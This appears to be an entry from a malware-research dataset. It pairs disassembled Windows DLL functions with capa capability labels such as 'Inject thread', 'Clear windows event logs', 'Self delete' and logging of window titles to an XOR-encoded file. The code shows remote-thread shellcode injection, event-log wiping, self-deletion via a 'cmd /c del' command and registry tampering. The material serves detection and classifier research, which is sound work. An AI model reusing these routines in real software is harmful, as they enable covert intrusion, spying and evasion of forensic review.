joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002aef
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push edi
call dword [0x10027344]
test eax, eax
pop ecx
jbe 0x10002b69
cmp byte [esi + edi], 0x5c
jne 0x10002b5c
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.1000ca10
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10002b5c
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
inc esi
call dword [0x10027344]
cmp esi, eax
pop ecx
jb 0x10002b22
pop edi
pop esi
leave
ret

Function at 0x10002c28
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
push 0x100273dc
lea eax, [ebp - 0x140]
push 0x10023380
push eax
call dword [0x100272d4]
add esp, 0xc
lea eax, [ebp - 4]
mov esi, SysReAllocString
push eax
push 0x20019
lea eax, [ebp - 0x140]
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x50
pop edi
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0xc], edi
push 1
lea ecx, [ebp - 0xc]
pop ebx
push ecx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0
push 0x100233a8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10002d23
mov edi, 0x10027124
push 0
push edi
call dword [0x10027344]
pop ecx
push eax
push edi
push ebx
lea eax, [ebp - 0x140]
push 0x100233b0
push eax
push esi
call fcn.1000d2d4
add esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push str._4d__.2d__.2d__.2d:_.2d
push eax
call dword [0x100272d4]
add esp, 0x1c
lea eax, [ebp - 0x3c]
push ebx
push eax
call dword [0x10027344]
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
lea eax, [ebp - 0x140]
push 0x100233d0
push eax
push esi
call fcn.1000d2d4
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002d28
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [ebp - 0x110]
push 0x100233dc
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 8]
pop ecx
push eax
push 0x20019
lea eax, [ebp - 0x110]
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x50
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x50
push ecx
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x10023400
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10002d99
call fcn.10002c28
leave
ret
Function at 0x100035b9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x1000362a
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003623
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
push dword [ebp + 8]
call esi
pop ecx
push eax
lea eax, [ebp - 0x104]
push eax
call esi
pop ecx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10003630
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100035f5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x1000362c

Function at 0x100036a3
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x1002349c
call fcn.10003638
test eax, eax
pop ecx
je 0x100036c5
xor eax, eax
jmp 0x1000381b
push dword [ebp + 8]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
je 0x100036be
mov ebx, 0x114
lea eax, [ebp - 0x114]
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push 0x100234b0
push 0x100234bc
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x100234cc
push 0x100234d4
mov dword [ebp - 0x110], eax
call esi
push eax
call edi
push 0x100234e4
push str.Kernel32.dll
mov dword [ebp - 0x114], eax
call esi
push eax
call edi
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x108], eax
mov ax, word [0x1002694c]
push 0x3f
mov word [ebp - 0x214], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x212]
mov esi, 0xff
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.10003c45
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, 0x3000
push 0x40
push edi
push ebx
push 0
push dword [ebp + 8]
call esi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x100036be
push 0
lea ecx, [ebp - 0x114]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call ebx
test eax, eax
je 0x100036be
push 0x40
push edi
mov edi, 0x1000
push edi
push 0
push dword [ebp + 8]
call esi
mov esi, eax
test esi, esi
je 0x100036be
push 0
push edi
push 0x10003583
push esi
push dword [ebp + 8]
call ebx
test eax, eax
je 0x100036be
xor edi, edi
push edi
push edi
push dword [ebp + 0xc]
push esi
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor ecx, ecx
cmp eax, edi
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004029
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0x10c]
push 0x1c
push eax
push esi
call dword [0x1002738c]
lea eax, [ebp - 0x10c]
push eax
call dword [0x10027398]
test eax, eax
je 0x10004082
lea eax, [ebp - 0x10c]
push 0x10023ee0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push 0x10027124
push eax
call sub.MSVCRT.dll_strcat
push 0x10023ee4
jmp 0x100040b6
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x10c]
push 0x10023eec
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push 0x10027124
push eax
call sub.MSVCRT.dll_strcat
push 0x10023ef8
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10004104
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov ebx, eax
push ebx
call sub.MFC42.DLL_operatornew
test ebx, ebx
pop ecx
mov edi, eax
jle 0x1000412f
mov ecx, dword [ebp + 8]
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebx
jne 0x10004123
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [0x10027270]
push edi
call sub.MFC42.DLL_operatordelete
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000415a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x10026bd0
push 0
push esi
call dword [0x1002734c]
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x10026fd0], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
and dword [ebp - 4], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x10026fd0]
cmp eax, dword [0x10026bcc]
je 0x1000423f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10004235
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push 0x10023f00
push eax
call dword [0x100272d4]
lea eax, [ebp - 0x414]
push eax
call fcn.10004029
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call dword [0x1002734c]
push ebx
push 0
push esi
call dword [0x1002734c]
add esp, 0x40
mov dword [ebp - 4], 1
mov eax, dword [0x10026fd0]
mov dword [0x10026bcc], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004b54
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push 0x10023fa8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x10026bca]
xor ebx, ebx
cmp ax, bx
je 0x10004c44
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
movzx esi, ax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x10004c44
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x10004c3b
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40b]
mov byte [ebp - 0x40c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
jbe 0x10004c3b
mov edi, 0x400
test word [ebp - 4], 0x3ff
jne 0x10004c1d
mov dword [ebp + 8], ebx
call dword [sym.imp.MSVCRT.dll_rand]
add al, byte [ebp + 8]
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
cmp dword [ebp + 8], edi
mov byte [ebp + eax - 0x40c], dl
jl 0x10004bf7
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x10004bec
push dword [ebp - 8]
call dword [0x10027270]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004d70
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
jne 0x10004dc4
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10004dbb
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10004d9b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004e24
Capabilities:
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push edi
push 0x100
call dword [0x100272bc]
push eax
call dword [0x10027238]
push 0xf
call dword [0x10027220]
push eax
call dword [0x1002723c]
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [0x1002721c]
push eax
push ebx
push 0x1f0fff
call dword [0x10027230]
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0x104
push ecx
lea ecx, [ebp - 0x108]
push ecx
push ebx
push eax
call dword [0x10027240]
lea eax, [ebp - 0x108]
push 0x80
push eax
call dword [0x10027250]
lea eax, [ebp - 0x108]
push ebx
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x218]
push str._c_del__q__s
push eax
call dword [0x100272d4]
add esp, 0xc
lea eax, [ebp - 0x218]
push ebx
push ebx
push eax
push 0x10024038
push str.open
push ebx
call dword [0x10027390]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10004f0b
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
cmp dword [0x100273d8], 2
push esi
jne 0x10004f2e
push 0x100273dc
call fcn.100032b8
pop ecx
jmp 0x10004fd1
push ebx
push edi
push 8
mov esi, str.SYSTEMCurrentControlSetServices
pop ecx
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
push ecx
push 0xf003f
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push eax
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x2c]
mov edi, SysReAllocString
push eax
push edi
call ebx
xor eax, eax
push 2
push eax
push eax
push eax
lea eax, [ebp - 0x2c]
push 0x100273dc
push eax
push edi
call fcn.1000d2d4
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
add esp, 0x1c
push 0x1002406c
push dword [ebp - 4]
call esi
push 0x10024074
push dword [ebp - 4]
call esi
push 0x1002407c
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x10024088
push edi
call ebx
push 0x100240b8
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
xor esi, esi
lea eax, [ebp - 0x130]
push esi
push 0x1c
push eax
push esi
call dword [0x1002738c]
lea eax, [ebp - 0x130]
push eax
call dword [0x10027398]
test eax, eax
je 0x1000501e
lea eax, [ebp - 0x130]
push 0x100240c0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x130]
push 0x10027124
push eax
call sub.MSVCRT.dll_strcat
push 0x100240c4
jmp 0x10005052
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x130]
push 0x100240cc
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x130]
push 0x10027124
push eax
call sub.MSVCRT.dll_strcat
push 0x100240d8
lea eax, [ebp - 0x130]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x130]
push eax
call dword [0x10027208]
call fcn.10004e24
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], 0x94
push eax
call dword [0x1002729c]
cmp dword [ebp - 0x1b4], 2
jne 0x100050a6
cmp dword [ebp - 0x1c0], 6
jb 0x100050a6
mov dword [0x10027580], 1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100052ad
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x20c
lea eax, [ebp - 0x374]
push esi
push eax
call dword [0x10027348]
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x268]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000532a
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add esi, 0x20c
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10005331
xor eax, eax
jmp 0x100053b8
push edi
call dword [0x10027270]
lea eax, [ebp - 0x36c]
push eax
call dword [0x10027344]
test eax, eax
pop ecx
je 0x1000536f
lea eax, [ebp - 0x36c]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x100272d4]
add esp, 0x10
jmp 0x10005383
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x370]
sub eax, ebx
je 0x100053a5
dec eax
je 0x100053a2
dec eax
dec eax
jne 0x100053b5
lea eax, [ebp - 0x168]
push eax
call fcn.10004f0b
jmp 0x100053b4
push ebx
jmp 0x100053a7
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100050ae
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100053bd
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x1001a026
call fcn.1001566c
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x138]
push eax
push edi
mov dword [ebp - 0x138], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10005403
or dword [ebp - 4], 0xffffffff
jmp 0x100054cf
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::MakeLower
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
or esi, 0xffffffff
test eax, eax
je 0x100054c3
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString_2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [ebp + 8]
call fcn.10008482
push eax
lea ecx, [ebp - 0x10]
call fcn.100084a3
test eax, eax
je 0x10005476
push esi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x1000541b
push dword [ebp - 0x130]
push ebx
push 1
call dword [0x10027230]
mov edi, eax
push ebx
push edi
call dword [0x1002722c]
push edi
call dword [0x10027270]
push esi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call sub.MFC42.DLL_CString::CString
push 1
pop eax
jmp 0x100054d9
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov dword [ebp - 4], esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100054e8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x20c
lea eax, [ebp - 0x410]
push edi
push eax
call dword [0x10027348]
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x204]
push esi
push 0x2e
push eax
push esi
call dword [0x1002738c]
lea eax, [ebp - 0x204]
push eax
call dword [0x100273a0]
lea eax, [ebp - 0x204]
push 0x1002411c
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x204]
pop ecx
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10005580
lea eax, [ebp + 8]
push esi
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add edi, 0x20c
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10005587
xor eax, eax
jmp 0x10005608
push ebx
call dword [0x10027270]
push esi
lea eax, [ebp - 0x104]
push 0x2e
push eax
push esi
call dword [0x1002738c]
lea eax, [ebp - 0x104]
push eax
call dword [0x100273a0]
lea eax, [ebp - 0x104]
push 0x10024128
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
call dword [0x10027398]
test eax, eax
je 0x10005605
lea eax, [ebp - 0x104]
push 5
push eax
call fcn.100050ae
pop ecx
test al, al
pop ecx
je 0x10005605
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov ecx, esp
mov dword [ebp + 0xc], esp
push str.cmd.exe
call sub.MFC42.DLL_CString::CString_2
call fcn.100053bd
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000560d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x20c
lea eax, [ebp - 0x30c]
push edi
push eax
call dword [0x10027348]
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x100]
push esi
push 0x2e
push eax
push esi
call dword [0x1002738c]
lea eax, [ebp - 0x100]
push eax
call dword [0x100273a0]
lea eax, [ebp - 0x100]
push str.uac.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x100]
pop ecx
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100056a5
lea eax, [ebp + 8]
push esi
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add edi, 0x20c
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100056a9
xor eax, eax
jmp 0x100056b3
push ebx
call dword [0x10027270]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000596a
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x10005a30
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005a30
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005a37
xor al, al
jmp 0x10005af7
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x160]
push 0x1002419c
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10005ab4
lea eax, [ebp - 0x160]
push 0x100241a0
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10005ab4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x100241a4
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10005abe
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10005adb
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret